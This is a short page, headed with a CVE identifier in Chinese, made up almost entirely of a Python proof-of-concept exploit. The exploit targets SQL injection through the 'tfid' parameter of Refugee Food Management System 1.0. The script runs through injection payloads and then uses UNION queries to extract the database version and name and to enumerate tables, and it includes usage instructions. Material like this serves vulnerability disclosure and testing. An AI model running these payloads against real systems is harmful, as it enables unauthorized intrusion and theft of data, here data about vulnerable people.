CVE-2025-15183: Refugee Food Management System SQL注入漏洞

import requests import sys # CVE-2025-15183 SQL Injection PoC # Target: Refugee Food Management System 1.0 # Vulnerability: SQL Injection in /home/viewtakenfd.php via tfid parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability target_url: Base URL of the vulnerable application payload: SQL injection payload to inject """ # Construct the vulnerable URL vuln_url = f"{target_url}/home/viewtakenfd.php" # Parameters with SQL injection payload params = { 'tfid': payload } try: # Send GET request with injected payload response = requests.get(vuln_url, params=params, timeout=10) print(f"[*] Target URL: {response.url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def test_basic_injection(target_url): """Test for basic SQL injection""" # Basic injection to trigger SQL error payloads = [ "1'", # Single quote to break query "1'", # Double quote variant "1 OR 1=1", # OR condition injection "1' OR '1'='1", # String-based OR injection "1' UNION SELECT NULL--", # UNION-based injection ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") response = exploit_sqli(target_url, payload) if response and ('sql' in response.text.lower() or 'error' in response.text.lower()): print("[+] Potential SQL injection detected!") return True return False def extract_database_info(target_url): """Extract database information using UNION injection""" # Database version extraction payload version_payload = "1' UNION SELECT NULL,@@version--" print(f"\n[*] Extracting database version...") exploit_sqli(target_url, version_payload) # Database name extraction payload dbname_payload = "1' UNION SELECT NULL,database()--" print(f"\n[*] Extracting database name...") exploit_sqli(target_url, dbname_payload) # Table enumeration payload tables_payload = "1' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--" print(f"\n[*] Enumerating tables...") exploit_sqli(target_url, tables_payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_15183_poc.py <target_url>") print("Example: python cve_2025_15183_poc.py http://192.168.1.100/refugee-food-management") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-15183 SQL Injection PoC") print("Target: Refugee Food Management System 1.0") print("Vulnerable File: /home/viewtakenfd.php") print("Vulnerable Parameter: tfid") print("=" * 60) # Test for SQL injection if test_basic_injection(target): print("\n[!] SQL Injection vulnerability confirmed!") # Extract database information extract_database_info(target) else: print("\n[-] No obvious SQL injection detected.")